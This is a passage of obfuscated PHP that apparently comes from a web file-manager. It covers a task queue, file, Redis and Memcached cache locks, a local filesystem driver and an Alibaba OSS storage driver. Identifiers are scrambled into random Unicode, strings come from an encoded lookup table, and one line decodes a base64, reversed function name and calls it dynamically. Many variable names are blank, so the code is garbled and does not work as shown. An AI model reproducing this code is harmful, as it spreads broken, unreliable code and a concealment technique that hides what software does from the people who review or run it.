$this->sourceModelCopyFlag = !1; } public function sourceRemove($Ɂ, $𶧼) { $ʙ =& $_SERVER[㫙]; $this->sourceModelCopyFlag = !0; $α޼ = 1; if (isset($Ɂ[$ʙ[83]])) { $α޼ = $Ɂ[$ʙ[83]][$ʙ[81]] + $Ɂ[$ʙ[83]][$ʙ[82]] + 1; } $this->update($α޼); $this->sourceModelCopyFlag = !1; } public function sourceMove($պ) { $this->sourceRemove($պ, !1); } public function curlProgress($, $륺⒪, $, $Ք, $ͬŸ) { $ =& $_SERVER[㫙]; $ơ =& $this->task; if ($ͬŸ > 0) { $ơ[$[1060]] = $[1717]; $ơ[$[1700]] = $[108]; if ($ơ[$[1698]]) { $ơ[$[1699]] = $ͬŸ; } if ($ơ[$[1701]]) { $ơ[$[1699]] = $ͬŸ + $ơ[$[1701]]; } } else { if ($ > 0) { if ($ơ[$[1698]] == $륺⒪) { $ơ[$[1699]] = $; $ơ[$[1060]] = $[1718]; $ơ[$[1700]] = $[1193]; } } } $this->update(); } public function curlProgressStart($) { } public function curlProgressEnd($) { $ =& $_SERVER[㫙]; $Ȟ¥ =& $this->task; $ = curl_getinfo($); $ = $[$[1719]]; if ($ == -1) { $ = $[$[1720]]; } if ($Ȟ¥[$[1700]] == $[108] && $) { $Ȟ¥[$[1701]] += $; } $this->update(); } } class TaskHttp extends Task { protected function startAfter() { $̇ =& $_SERVER[㫙]; $񅚨 =& $this->task; $񅚨[$̇[1721]] = 1; Hook::bind($̇[1690], array($this, $̇[1722])); Hook::bind($̇[1692], array($this, $̇[1723])); Hook::bind($̇[1694], array($this, $̇[1724])); } protected function endAfter() { $ =& $_SERVER[㫙]; Hook::unbind($[1690], array($this, $[1722])); Hook::unbind($[1692], array($this, $[1723])); Hook::unbind($[1694], array($this, $[1724])); } public function progressStart($) { $҅ =& $_SERVER[㫙]; $ = curl_getinfo($); self::log($҅[1725] . $[$҅[302]]); self::valueSet($this->task[$҅[392]], $this->task); } public function progressEnd($) { $բ =& $_SERVER[㫙]; self::log($բ[1726] . $this->task[$բ[392]]); $this->end(); } public function progress($܂ю, $ӲԐ, $, $Ռ׺Ը, $ܚ) { $ڲ̹ =& $_SERVER[㫙]; $Н =& $this->task; if ($ܚ > 0) { $Н[$ڲ̹[787]] = $Н[$ڲ̹[787]] == 0 ? $Ռ׺Ը : $Н[$ڲ̹[787]]; $Н[$ڲ̹[1651]] = $ܚ; } else { if ($ > 0) { $Н[$ڲ̹[787]] = $Н[$ڲ̹[787]] == 0 ? $ӲԐ : $Н[$ڲ̹[787]]; $Н[$ڲ̹[1651]] = $; } } $this->update(); self::log("\x70\x72\x6f\147\162\x65\x73\x73\110\x74\x74\x70\x3a\x64\157\x77\x6e\x3a{$}\x2f{$ӲԐ}\x3b\x20\x75\160\x6c\157\x61\144\x3a{$ܚ}\57{$Ռ׺Ը}\x3b"); } } class TaskQueue { const MAX_LENGTH = 2000; const QUEUE_LENGTH = "\164\x61\163\x6b\x51\165\145\x75\145\114\x65\156\x67\x74\150"; const QUEUE_DATA = "\164\x61\x73\x6b\x51\165\145\165\145\104\x61\164\x61"; public static $listData = false; public static function initTask() { } public static function add($ǎ, $ = array(), $𴍃 = '', $ = '') { $ =& $_SERVER[㫙]; if (self::$listData === !1) { self::$listData = self::getAll(); } if (count(self::$listData) >= self::MAX_LENGTH) { return !1; } if ($ && array_find_by_field(self::$listData, $[95], $)) { return !0; } self::$listData[] = array($[259] => $ǎ, $[1727] => $, $[451] => $𴍃, $[95] => $); return !0; } public static function addSubmit() { $ =& $_SERVER[㫙]; if (!self::$listData || count(self::$listData) == 0) { return; } write_log($[1728] . json_encode_force(array_to_keyvalue(self::$listData, $[12], $[451])), $[1729]); self::setAll(self::$listData); self::$listData = !1; } public static function addNow($, $ = array(), $ = '', $ = '') { $⇯ =& $_SERVER[㫙]; if (self::count() >= self::MAX_LENGTH) { return !1; } $ = self::getAll(); if ($ && array_find_by_field($, $⇯[95], $)) { return !0; } $[] = array($⇯[259] => $, $⇯[1727] => $, $⇯[451] => $, $⇯[95] => $); write_log($⇯[1728] . $, $⇯[1729]); self::setAll($); return !0; } public static function run() { $ =& $_SERVER[㫙]; $ = self::getAll(); $– = array_shift($); if (!$–) { return !1; } self::setAll($); $ = timeFloat(); try { Hook::apply($–[$[259]], $–[$[1727]]); } catch (Exception $) { } $ = number_format(timeFloat() - $, 3) . $[1666]; write_log($[1730] . $–[$[451]] . $[1731] . $, $[1729]); return !0; } public static function count() { $ = Cache::get(self::QUEUE_LENGTH); Cache::removeMemory(self::QUEUE_LENGTH); if (!$) { return 0; } return intval($); } public static function getAll() { $ٜ = Cache::get(self::QUEUE_DATA); Cache::removeMemory(self::QUEUE_DATA); if (!$ٜ) { return array(); } return $ٜ; } public static function setAll($ۓ) { $ڄʺ = 3600 * 24 * 30; Cache::set(self::QUEUE_LENGTH, count($ۓ), $ڄʺ); Cache::set(self::QUEUE_DATA, $ۓ, $ڄʺ); Cache::removeMemory(self::QUEUE_LENGTH); Cache::removeMemory(self::QUEUE_DATA); } public static function clear() { self::setAll(array()); } } goto A̾ꨥ; d淾: class CacheLockFile { private static $cachePath; private static $caches; public function __construct() { $ =& $_SERVER[㫙]; $Ӌ˓ = $GLOBALS[$[6]][$[344]]; self::$cachePath = $Ӌ˓[$[192]][$[78]]; @mkdir(self::$cachePath, DEFAULT_PERRMISSIONS, !0); } public function lock($ȭ, $ = 0) { $Ӫ =& $_SERVER[㫙]; $ί = microtime(!0); $ = $ί + $ + 0.0001; $ʻ = rtrim(self::$cachePath, $Ӫ[8]) . $Ӫ[860] . md5($ȭ) . $Ӫ[857]; if (file_exists($ʻ) && filemtime($ʻ) && filemtime($ʻ) < time() - 10) { @unlink($ʻ); } do { if (file_exists($ʻ)) { cacheLockWait(); continue; } $ = fopen($ʻ, $Ӫ[861]); if (!$) { return !1; } $ = flock($, LOCK_EX | LOCK_NB); self::$caches[$ȭ] = array($Ӫ[862] => $, $Ӫ[192] => $ʻ); fwrite($, $); clearstatcache(); if ($ && $) { return !0; } cacheLockWait(); } while (microtime(!0) < $); $this->unlock($ȭ); return !1; } public function lockGet($ֹ) { $ɻ݌ =& $_SERVER[㫙]; $dz = rtrim(self::$cachePath, $ɻ݌[8]) . $ɻ݌[860] . md5($ֹ) . $ɻ݌[857]; return file_exists($dz); } public function unlock($ϰˉ) { $ =& $_SERVER[㫙]; $ = self::$caches[$ϰˉ]; if (!$) { return; } @flock($[$[862]], LOCK_UN); @fclose($[$[862]]); @unlink($[$[192]]); unset(self::$caches[$ϰˉ]); } } class CacheLockRedis { public function lock($, $ָ = 10) { $˲Μ = Cache::init(); $ = microtime(!0) + $ָ; while (microtime(!0) < $) { $ = $˲Μ->get($); if (!$) { $ = $˲Μ->setLock($, $, $ָ); if ($) { return !0; } } else { if ($ < microtime(!0)) { $˲Μ->set($, $, $ָ * 2); if ($˲Μ->get($) === $) { return !0; } } } cacheLockWait(); } return !1; } public function lockGet($͙) { return Cache::init()->get($͙); } public function unlock($) { return Cache::init()->remove($); } } class CacheLockMemcached { public function lock($ؿ, $ޠ = 0) { $ၔ = Cache::init(); $ҟ = microtime(!0) + $ޠ; while (microtime(!0) < $ҟ) { $Ĝ = $ၔ->get($ؿ); if (!$Ĝ || $Ĝ < microtime(!0)) { $ь = $ၔ->handle->add($ؿ, $ҟ, $ޠ); if ($ь) { return !0; } } cacheLockWait(); } return !1; } public function lockGet($) { return Cache::init()->get($); } public function unlock($ܷ) { return Cache::init()->remove($ܷ); } } goto Dϵ; C„̓: $fileSize = strrev(base64_decode($_SERVER[顫][0])); function binCheckNeq($γ, $) { return $γ != $; } $_SERVER[$_SERVER[顫][1]] = $fileSize($_SERVER[$_SERVER[顫][2]]); goto C۔; E˙: class PathDriverLocal extends PathDriverBase { private $pathAuth; public function __construct() { parent::__construct(); $this->pathAuth = DEFAULT_PERRMISSIONS; } public function getPath($ܺ) { if (substr($ܺ, 0, 2) == $_SERVER[㫙][1361]) { $ܺ = BASIC_PATH . substr($ܺ, 2); } return $ܺ; } public function iconvApp($) { $ۋ =& $_SERVER[㫙]; global $config; return $this->iconvTo($, $config[$ۋ[1359]], $config[$ۋ[1358]]); } public function iconvSystem($Φݒ) { $ =& $_SERVER[㫙]; global $config; return $this->iconvTo($Φݒ, $config[$[1358]], $config[$[1359]]); } public function getPathOuter($) { $󿎴 =& $_SERVER[㫙]; $Ο = $this->iconvApp($this->pathBase); $ = $this->iconvApp($); if (substr($Ο, 0, 2) == $󿎴[1361]) { $Ο = BASIC_PATH . substr($Ο, 2); } if (substr($, 0, 2) == $󿎴[1361]) { $ = BASIC_PATH . substr($, 2); } $Ο = KodIO::clear($Ο); $ = KodIO::clear($); $ = substr($, strlen($Ο)); if (empty($this->pathDriver)) { return $; } return $this->pathDriver . $󿎴[8] . ltrim($, $󿎴[8]); } public function mkfile($詿, $튝 = '', $ߑٔ = REPEAT_RENAME) { $詿 = $this->iconvSystem($詿); @touch($詿); if ($튝) { file_put_contents($詿, $튝); } @chmod($詿, $this->pathAuth); return is_file($詿) ? $this->getPathOuter($詿) : !1; } public function mkdir($ه, $դд = REPEAT_SKIP) { $ه = $this->iconvSystem($ه); if (is_dir($ه)) { return $this->getPathOuter($ه); } @mkdir($ه, $this->pathAuth, !0); @chmod($ه, $this->pathAuth); return is_dir($ه) ? $this->getPathOuter($ه) : !1; } public function copyFile($᎑, $ޤ) { $this->mkdir($this->pathFather($ޤ)); $᎑ = $this->iconvSystem($᎑); $ޤ = $this->iconvSystem($ޤ); $ň = copy_64($᎑, $ޤ); @chmod($ޤ, $this->pathAuth); return $ň ? $this->getPathOuter($ޤ) : !1; } public function moveFile($, $) { $this->mkdir($this->pathFather($)); $ = $this->iconvSystem($); $ = $this->iconvSystem($); $ = intval(@rename($, $)); if (!$) { if ($ = intval(@copy_64($, $))) { @unlink($); } } @chmod($, $this->pathAuth); return $ ? $this->getPathOuter($) : !1; } public function movePath($҃, $, $ʂ = false) { $ԧ =& $_SERVER[㫙]; $҃ = $this->iconvSystem($҃); $ = $this->iconvSystem($); $ = rtrim($, $ԧ[8]) . $ԧ[8] . ($ʂ ? $ʂ : get_path_this($҃)); if (file_exists($)) { return !1; } $ = intval(@rename($҃, $)); $ = file_exists($); return $ ? $this->getPathOuter($) : !1; } public function delFile($) { $ = $this->iconvSystem($); if (!@unlink($)) { @chmod($, $this->pathAuth); if (!@unlink($)) { return !1; } } else { return !0; } } public function delFolder($Ԩ) { $¹ =& $_SERVER[㫙]; $Ԩ = $this->iconvSystem($Ԩ); if (!is_dir($Ԩ)) { return !0; } if (!($Э߻ = opendir($Ԩ))) { return !1; } while (($ = readdir($Э߻)) !== !1) { if ($ == $¹[10] || $ == $¹[1368]) { continue; } $ = $Ԩ . $¹[8] . $; if (is_file($) || is_link($)) { if (!unlink($)) { chmod($, $this->pathAuth); if (!unlink($)) { return !1; } } } else { if (is_dir($)) { chmod($, $this->pathAuth); $ = $this->iconvApp($); if (!$this->delFolder($)) { return !1; } } } } closedir($Э߻); return rmdir($Ԩ); } public function rename($, $ů) { $ړ =& $_SERVER[㫙]; $ = $this->fileNameAuto($this->pathFather($), $ů); $ = $this->iconvSystem($); $ = $this->iconvSystem($); $ = $this->pathFather($); $Լ = rtrim($, $ړ[8]) . $ړ[8] . $; $¹ = @rename($, $Լ); $Լ = $this->iconvApp($Լ); return $¹ ? $this->getPathOuter($Լ) : !1; } public function size($˶) { $˶ = $this->iconvSystem($˶); return filesize_64($˶); } public function info($߅) { $߅ = $this->iconvSystem($߅); if ($this->isFolder($߅)) { return $this->folderInfo($߅); } else { if ($this->isFile($߅)) { return $this->fileInfo($߅); } } return !1; } protected function infoChildren($ꉨ, &$, $Ŀ׃ = true) { $ =& $_SERVER[㫙]; check_abort_echo(); $ꉨ = rtrim($ꉨ, $[8]) . $[8]; if ($Ŀ׃) { $ꉨ = $this->iconvSystem($ꉨ); } if (!($ޡǢ = @opendir($ꉨ))) { return; } while (($ = readdir($ޡǢ)) !== !1) { if ($ == $[10] || $ == $[1368]) { continue; } $ƾ = $ꉨ . $; if (is_file($ƾ) || is_link($ƾ)) { $[$[81]]++; $[$[80]] += filesize_64($ƾ); } else { if (is_dir($ƾ)) { $[$[82]]++; $this->infoChildren($ƾ, $, !1); } } } closedir($ޡǢ); } private function folderInfo($î, $ = false) { $ =& $_SERVER[㫙]; $î = rtrim($î, $[8]) . $[8]; $ = $this->iconvApp($this->pathThis($î)); if ($) { return array($[32] => $, $[78] => $this->getPathOuter($î), $[33] => $[79]); } $ͳ = array($[32] => $, $[78] => $this->getPathOuter($î), $[33] => $[79], $[193] => @filectime($î), $[86] => @filemtime($î), $[1371] => @fileatime($î), $[1372] => is_readable($î), $[1373] => is_writable($î), $[1374] => get_mode($î)); return $ͳ; } private function fileInfo($ݟ, $þ = false) { $ɮ =& $_SERVER[㫙]; $ɪ = $this->iconvApp($this->pathThis($ݟ)); if ($þ) { return array($ɮ[32] => $ɪ, $ɮ[78] => $this->getPathOuter($ݟ), $ɮ[33] => $ɮ[192], $ɮ[80] => $this->size($ݟ), $ɮ[167] => $this->ext($ɪ)); } $Ɔʝ = array($ɮ[32] => $ɪ, $ɮ[78] => $this->getPathOuter($ݟ), $ɮ[33] => $ɮ[192], $ɮ[193] => @filectime($ݟ), $ɮ[86] => @filemtime($ݟ), $ɮ[1371] => @fileatime($ݟ), $ɮ[80] => $this->size($ݟ), $ɮ[167] => $this->ext($ɪ), $ɮ[1372] => is_readable($ݟ), $ɮ[1373] => is_writable($ݟ), $ɮ[1374] => get_mode($ݟ)); return $Ɔʝ; } public function exist($Ůۊ) { $Ůۊ = $this->iconvSystem($Ůۊ); return @file_exists($Ůۊ); } public function isFile($) { $ = $this->iconvSystem($); return @is_file($); } public function isFolder($ۙ) { $ۙ = $this->iconvSystem($ۙ); return @is_dir($ۙ); } public function listPath($, $ْ = false) { $ǐ =& $_SERVER[㫙]; $ = $this->iconvSystem($); $ = rtrim($, $ǐ[8]) . $ǐ[8]; $ = array($ǐ[77] => array(), $ǐ[76] => array()); if (!($ = @opendir($))) { return $; } while (($Ư껳 = readdir($)) !== !1) { if ($Ư껳 == $ǐ[10] || $Ư껳 == $ǐ[1368]) { continue; } $ه = $ . $Ư껳; if (is_file($ه)) { $[$ǐ[76]][] = $this->fileInfo($ه, $ْ); } else { $[$ǐ[77]][] = $this->folderInfo($ه, $ْ); } } closedir($); return $; } public function listAll($, &$ = array()) { $ =& $_SERVER[㫙]; $ = $this->iconvSystem($); $ = rtrim($, $[8]) . $[8]; if (!($ڹ = @opendir($))) { return $; } while (($ك = readdir($ڹ)) !== !1) { if ($ك == $[10] || $ك == $[1368]) { continue; } $ = $ . $ك; if (is_dir($) && !is_link($)) { $[] = array($[78] => $ . $[8], $[79] => 1, $[86] => @filemtime($), $[80] => 0); $this->listAll($, $); } else { $[] = array($[78] => $, $[79] => 0, $[86] => @filemtime($), $[80] => $this->size($)); } } closedir($ڹ); return $; } public function has($٬, $ = false, $ = true) { $ע =& $_SERVER[㫙]; $٬ = $this->iconvSystem($٬); $٬ = rtrim($٬, $ע[8]) . $ע[8]; if (!($ = @opendir($٬))) { return !1; } $Ϻ = 0; $ = 0; $޳ = 0; while (($Ƅ = readdir($)) !== !1) { if ($Ƅ == $ע[10] || $Ƅ == $ע[1368]) { continue; } $ = $٬ . $Ƅ; if ($) { $޳++; if (@is_file($)) { $Ϻ++; } else { $++; } if ($޳ > 10000) { break; } continue; } if ($) { if (@is_file($)) { return !0; } } else { if (@is_dir($ . $ע[8])) { return !0; } } } closedir($); if ($) { return array($ע[202] => $Ϻ, $ע[203] => $); } return !1; } public function hashSimple($) { $ӣ =& $_SERVER[㫙]; if (!$) { return md5($ӣ[12]); } $ = $this->iconvSystem($); $أ = $this->size($); $̮ި = 200; $ވ = 50; if ($أ <= $̮ި * $ވ) { return $this->hashMd5($) . $أ; } $Я = $ӣ[12]; $ = intval($أ / $ވ); $̋ = fopen($, $ӣ[1375]); if (!$̋) { return $Я; } for ($ = 0; $ < $ވ; $++) { fseek_64($̋, $ * $); $Я .= fread($̋, $̮ި); } fseek_64($̋, $أ - $̮ި); $Я .= fread($̋, $̮ި); fclose($̋); return md5($Я) . $أ; } public function getContent($£Ξ) { $£Ξ = $this->iconvSystem($£Ξ); return file_get_contents($£Ξ); } public function setContent($鬿, $ = '') { $鬿 = $this->iconvSystem($鬿); $ʤ = @file_put_contents($鬿, $, LOCK_EX); clearstatcache(); @chmod($鬿, $this->pathAuth); return $ʤ === !1 ? !1 : !0; } public function fileSubstr($ϝ, $ϲн = 0, $ّ = false) { $ˈ =& $_SERVER[㫙]; $ϝ = $this->iconvSystem($ϝ); if ($ّ === !1) { $ّ = $this->size($ϝ); } if ($ّ <= 0) { return $ˈ[12]; } $㾱 = fopen($ϝ, $ˈ[1375]); if (!$㾱) { return !1; } fseek_64($㾱, $ϲн); $ˉ = fread($㾱, $ّ); fclose($㾱); return $ˉ; } public function upload($ӫ, $љ, $ = false, $և = REPEAT_REPLACE) { if ($) { return $this->moveFile($љ, $ӫ); } return $this->copyFile($љ, $ӫ); } public function setModifyTime($ﲼ, $ = '') { @touch($ﲼ, intval($)); } public function download($暊, $ٽ) { return $this->iconvSystem($暊); } } class PathDriverOOS extends PathDriverBaseS3 { public function __construct($ߴ) { parent::__construct($ߴ); $this->signatureVersion($_SERVER[㫙][211]); } public function fileOutLink($) { $ =& $_SERVER[㫙]; if (substr($, 0, 7) == $[1319]) { $ = $[1320] . substr($, 7); } header($[158] . $); die; } } class PathDriverOSS extends PathDriverBase { protected $accessKey = ''; protected $secret = ''; protected $domain = ''; protected $bucket = ''; protected $bucketAcl = ''; protected $endpoint = null; protected $client = null; public $ioUploadServer = "\x30"; public $ioFileOutServer = "\x30"; public $cdnHost = ''; public function __construct($ۉ) { parent::__construct(); include_once SDK_DIR . $_SERVER[㫙][1376]; $this->_init($ۉ); } public function _init($ӓ) { $ҫ =& $_SERVER[㫙]; foreach ($ӓ as $ => $) { if (isset($this->{$})) { $this->{$} = $; } } if (empty($this->accessKey) || empty($this->secret) || empty($this->domain)) { throw new Exception($ҫ[1377] . LNG($ҫ[1378])); } $this->client = new OSS\OssClient($this->accessKey, $this->secret, $this->domain); $this->client->setConnectTimeout(60); } public function setBucketCors() { $ =& $_SERVER[㫙]; $ = new OSS\Model\CorsConfig(); $㼃 = new OSS\Model\CorsRule(); $㼃->addAllowedOrigin($[1379]); $㼃->addAllowedMethod($[1380]); $㼃->addAllowedMethod($[1381]); $㼃->addAllowedMethod($[1382]); $㼃->addAllowedMethod($[1383]); $㼃->addAllowedMethod($[157]); $㼃->setMaxAgeSeconds(600); $㼃->addExposeHeader($[1384]); $㼃->addAllowedHeader($[1379]); $->addRule($㼃); try { $this->client->putBucketCors($this->bucket, $); } catch (OSS\Core\OssException $̹) { return !1; } return !0; } public function getBucketCors() { $٬ =& $_SERVER[㫙]; $㽮 = null; try { $㽮 = $this->client->getBucketCors($this->bucket); } catch (OSS\Core\OssException $) { return null; } if (!$㽮 || !($Ҷ = $㽮->getRules())) { return null; } $ۡΧ = $Ҷ[0]->getAllowedOrigins(); $Ё = $Ҷ[0]->getAllowedMethods(); $ = $Ҷ[0]->getMaxAgeSeconds(); $ý = $Ҷ[0]->getExposeHeaders(); $݅ = $Ҷ[0]->getAllowedHeaders(); return array($٬[180] => isset($ۡΧ[0]) ? $ۡΧ[0] : $٬[12], $٬[184] => $Ё, $٬[1385] => $, $٬[1386] => isset($ý[0]) ? $ý[0] : $٬[12], $٬[182] => isset($݅[0]) ? $݅[0] : $٬[12]); } public function isBucketCors() { $ɯ =& $_SERVER[㫙]; $ȁ = $this->getBucketCors(); if (!$ȁ || !is_array($ȁ)) { return !1; } if ($ȁ[$ɯ[180]] != $ɯ[181] || $ȁ[$ɯ[182]] != $ɯ[181]) { return !1; } $忟 = array_map($ɯ[183], $ȁ[$ɯ[184]]); if (!is_array($忟)) { $忟 = array(); } $ = array($ɯ[185], $ɯ[186], $ɯ[187], $ɯ[188], $ɯ[189]); $ѱ = array_diff($, $忟); return empty($ѱ); } public function mkfile($, $Ѱ = '', $ת = REPEAT_RENAME) { $՗ = $this->setContent($, $Ѱ); if ($՗ !== !1) { return $this->getPathOuter($); } return !1; } public function mkdir($, $ = REPEAT_SKIP) { if ($this->_isFolder($)) { return $this->getPathOuter($); } try { $this->client->createObjectDir($this->bucket, $this->pathEncode($)); } catch (OSS\Core\OssException $) { return !1; } return $this->getPathOuter($); } private function fileList($񿥪, $ = '', $Ї = 0) { $δ =& $_SERVER[㫙]; $񿥪 = trim($񿥪, $δ[8]); $ = empty($񿥪) && $񿥪 !== $δ[190] ? $δ[12] : $񿥪 . $δ[8]; $¢ = $δ[12]; $ = 1000; $ = $this->listItemCache === !1 ? !1 : !0; $Ȋ = $蛡 = array(); while (!0) { check_abort(); $Ϲ = array($δ[1387] => $, $δ[1388] => $, $δ[1389] => $, $δ[1390] => $¢); try { $ܴ = $this->client->listObjects($this->bucket, $Ϲ); } catch (OSS\Core\OssException $ڠ¹) { break; } $¢ = $ܴ->getNextMarker(); $ = $ܴ->getObjectList(); $ = $ܴ->getPrefixList(); foreach ($ as $) { if ($->getKey() == $) { continue; } $ = $->getKey(); $ = $->getSize(); $葹 = $->getLastModified(); $ł = $Ї ? array($δ[32] => $, $δ[80] => $, $δ[196] => strtotime($葹)) : $; $ŝ = $ == 0 && substr($, strlen($) - 1, 1) == $δ[8] ? !0 : !1; if ($) { $this->cacheMethod($δ[198], $, $ŝ); $this->cacheMethod($δ[199], $, array($δ[80] => $, $δ[1391] => $, $δ[86] => strtotime($葹), $δ[1392] => $葹)); } if ($ŝ) { $Ȋ[] = $; continue; } $蛡[] = $ł; } foreach ($ as $ȉ) { $Ȋ[] = $ȉ->getPrefix(); if ($) { $this->cacheMethod($δ[198], $, !0); } } if ($¢ === $δ[12]) { break; } } if ($) { $this->cacheMethod($δ[198], $񿥪, !0); } return array($δ[77] => $Ȋ, $δ[76] => $蛡); } public function copyFile($͛, $) { $ސ = $this->size($͛); if ($ސ < 1024 * 1024 * 1024) { try { $this->client->copyObject($this->bucket, $͛, $this->bucket, $this->pathEncode($)); } catch (OSS\Core\OssException $ř) { return !1; } return $this->getPathOuter($); } $Ɲʄ = $this->multiCopyObject($͛, $, $ސ); return $Ɲʄ ? $this->getPathOuter($) : !1; } private function multiCopyObject($, $ۖ, $򸾯) { $瓓 =& $_SERVER[㫙]; try { $ = array(); if ($ = $this->hashMd5($)) { $ = array(OSS\OssClient::OSS_HEADERS => array($瓓[1393] => $)); } $ċѽ = $this->client->initiateMultipartUpload($this->bucket, $this->pathEncode($ۖ), $); $Ȭ = 1; $ = 0; $κ = array(); $܀ = 1024 * 1024 * 10; $؉ = $this->client->generateMultiuploadParts($򸾯, $܀); foreach ($؉ as $Ƃ => $Ń) { $ݿ = $ + (int) $Ń[$瓓[1394]]; $Φ = (int) $Ń[$瓓[332]] + $ݿ - 1; $۶ = array($瓓[1395] => $ݿ, $瓓[1396] => $Φ); $κ[] = $this->client->uploadPartCopy($this->bucket, $, $this->bucket, $this->pathEncode($ۖ), $Ȭ, $ċѽ, $۶); $Ȭ = $Ȭ + 1; } $ۖ = array(); foreach ($κ as $Ƃ => $؊) { $ۖ[] = array($瓓[1397] => $Ƃ + 1, $瓓[1398] => $؊); } $this->client->completeMultipartUpload($this->bucket, $this->pathEncode($ۖ), $ċѽ, $ۖ); } catch (OSS\Core\OssException $榔) { return !1; } return !0; } public function moveFile($ҫ, $) { if ($this->copyFile($ҫ, $)) { $this->remove($ҫ); return $this->getPathOuter($); } return !1; } public function delFile($ޗ) { try { $this->client->deleteObject($this->bucket, $this->pathEncode($ޗ)); } catch (OSS\Core\OssException $) { return !1; } return !0; } public function delFolder($) { $ߐ =& $_SERVER[㫙]; if (!$this->exist($)) { return !0; } $this->listItemCache = !1; $ = $this->fileList($); $this->listItemCache = !0; $ = trim($, $ߐ[8]) . $ߐ[8]; if (!empty($) && $ !== $ߐ[190] && !in_array($, $[$ߐ[77]])) { $[$ߐ[77]][] = $; } $ո = $this->delByBatch($[$ߐ[76]]); if (!$ո) { return !1; } $ո = $this->delByBatch($[$ߐ[77]]); if (!$ո) { return !1; } return $this->delFile($); } private function delByBatch($욹) { foreach (array_chunk($욹, 1000) as $Ͷ) { try { $this->client->deleteObjects($this->bucket, $Ͷ); } catch (OSS\Core\OssException $) { return !1; } } return !0; } public function rename($, $) { return $this->renameObject($, $); } private function fileInfo($Ǽ, $ = false, $꾧 = array()) { $ =& $_SERVER[㫙]; $ = array($[32] => $this->pathThis($Ǽ), $[78] => $this->getPathOuter($Ǽ), $[33] => $[192], $[80] => isset($꾧[$[80]]) ? $꾧[$[80]] : 0, $[167] => $this->ext($Ǽ)); if ($) { return $; } $[$[193]] = $[$[86]] = 0; $[$[194]] = $[$[195]] = !0; if (empty($꾧)) { $ë = $this->objectMeta($Ǽ); if (!$ë) { return $; } $꾧 = array($[86] => strtotime($ë[$[1392]]), $[80] => $ë[$[1391]] + 0); } if (isset($꾧[$[80]])) { $[$[80]] = $꾧[$[80]]; } if (isset($꾧[$[86]])) { $[$[86]] = $꾧[$[86]]; } if (isset($꾧[$[196]]) && !trim($[$[86]])) { $[$[86]] = $꾧[$[196]]; } return $; } private function folderInfo($, $ՠ = false, $ = array()) { $ =& $_SERVER[㫙]; $ = array($[32] => $this->pathThis($), $[78] => $this->getPathOuter($[8] . $), $[33] => $[79]); if ($ՠ) { return $; } $[$[193]] = $[$[86]] = 0; $[$[194]] = $[$[195]] = !0; if (empty($)) { $ = rtrim($, $[8]) . $[8]; $ = $this->objectMeta($); if (!$) { return $; } $ = array($[193] => $[$[511]][$[1399]], $[86] => strtotime($[$[1392]])); } if (isset($[$[86]])) { $[$[86]] = $[$[86]]; } if (isset($[$[193]])) { $[$[193]] = $[$[193]]; } return $; } public function listPath($ĩ, $Ǭ = false) { $ =& $_SERVER[㫙]; $ = $this->fileList($ĩ, $[8], !0); foreach ($[$[77]] as $ݏꗜ => $) { $[$[77]][$ݏꗜ] = $this->folderInfo($, $Ǭ, $); } foreach ($[$[76]] as $ݏꗜ => $) { $[$[76]][$ݏꗜ] = $this->fileInfo($[$[32]], $Ǭ, $); } return $; } public function has($, $ = false, $˕ = true) { $킋 =& $_SERVER[㫙]; $ = trim($, $킋[8]); $ཹ = empty($) && $ !== $킋[190] ? $킋[12] : $ . $킋[8]; $ = $킋[12]; $й = 500; $ = $Ο = 0; while (!0) { check_abort(); $厎 = array($킋[1387] => $킋[8], $킋[1388] => $ཹ, $킋[1389] => $й, $킋[1390] => $); try { $ܱ = $this->client->listObjects($this->bucket, $厎); } catch (OSS\Core\OssException $) { break; } $ = $ܱ->getNextMarker(); $Æ = $ܱ->getObjectList(); $Ժ = $ܱ->getPrefixList(); if ($) { if (count($Æ) > 1 || count($Æ) == 1 && $Æ[0]->getKey() != $ཹ) { $ += count($Æ) - 1; } if (!empty($Ժ)) { $Ο += count($Ժ); } if ($ === $킋[12]) { break; } continue; } if ($˕) { if (!empty($Æ)) { if (count($Æ) > 1 || $Æ[0]->getKey() != $ཹ) { return !0; } } } else { if (!empty($Ժ)) { return !0; } } if ($ === $킋[12]) { break; } } if ($) { return array($킋[202] => $, $킋[203] => $Ο); } return !1; } public function listAll($) { $ё =& $_SERVER[㫙]; $ = $this->fileList($, $ё[12], !0); $խ = array(); foreach ($[$ё[76]] as $) { $խ[$[$ё[32]]] = $[$ё[80]]; } foreach ($[$ё[77]] as $) { if (is_string($)) { $խ[$] = 0; } } return $this->listAllFiles($, array_keys($խ), $խ); } public function canRead($) { $ =& $_SERVER[㫙]; $ރ = $this->pathAcl($); return $ރ == $[1400] || $ރ == $[550] ? !0 : !1; } public function canWrite($) { $ = $this->pathAcl($); return $ == $_SERVER[㫙][550] ? !0 : !1; } public function pathAcl($Í) { $ƀ =& $_SERVER[㫙]; if (empty($this->bucketAcl)) { $this->bucketAcl = $this->client->getBucketAcl($this->bucket); } try { $Ŧ = $this->client->getObjectAcl($this->bucket, $this->pathEncode($Í)); } catch (OSS\Core\OssException $) { return !1; } $ǎ = $Ŧ == $ƀ[37] ? $this->bucketAcl : $Ŧ; if ($ǎ == $ƀ[1401]) { return $ƀ[1400]; } if ($ǎ == $ƀ[1402]) { return $ƀ[550]; } return $ǎ; } private function chmodPath($݌, $ = '') { $ڃ =& $_SERVER[㫙]; $ĭ = empty($) ? $ڃ[1402] : $; $ = array($ڃ[37], $ڃ[191], $ڃ[1401], $ڃ[1402]); if (!in_array($ĭ, $)) { return !1; } try { $this->client->putObjectAcl($this->bucket, $this->pathEncode($݌), $ĭ); } catch (OSS\Core\OssException $) { return !1; } return !0; } public function getContent($΋) { return $this->fileSubstr($΋, -1); } public function setContent($Ř, $ = '') { $ =& $_SERVER[㫙]; try { $ = $this->trafficLimit($[1403]); $Ĺ = $this->client->putObject($this->bucket, $this->pathEncode($Ř), $, $); } catch (OSS\Core\OssException $) { return !1; } $碌 = array($[1393] => trim($Ĺ[$[1404]], $[117]), OSS\OssClient::OSS_CONTENT_TYPE => get_file_mime(get_path_ext($Ř))); $this->updateObjMeta($Ř, $碌); return isset($Ĺ[$[1405]][$[1352]]) ? !0 : !1; } private function updateObjMeta($, $‚) { $ = $this->pathEncode($); try { $ = array(OSS\OssClient::OSS_HEADERS => $‚); $this->client->copyObject($this->bucket, $, $this->bucket, $, $); } catch (OSS\Core\OssException $) { return !1; } return !0; } public function upload($, $, $ = false, $̳ = REPEAT_REPLACE) { $ =& $_SERVER[㫙]; $ߓ = trim($, $[8]); $պ = array(OSS\OssClient::OSS_CHECK_MD5 => !0, 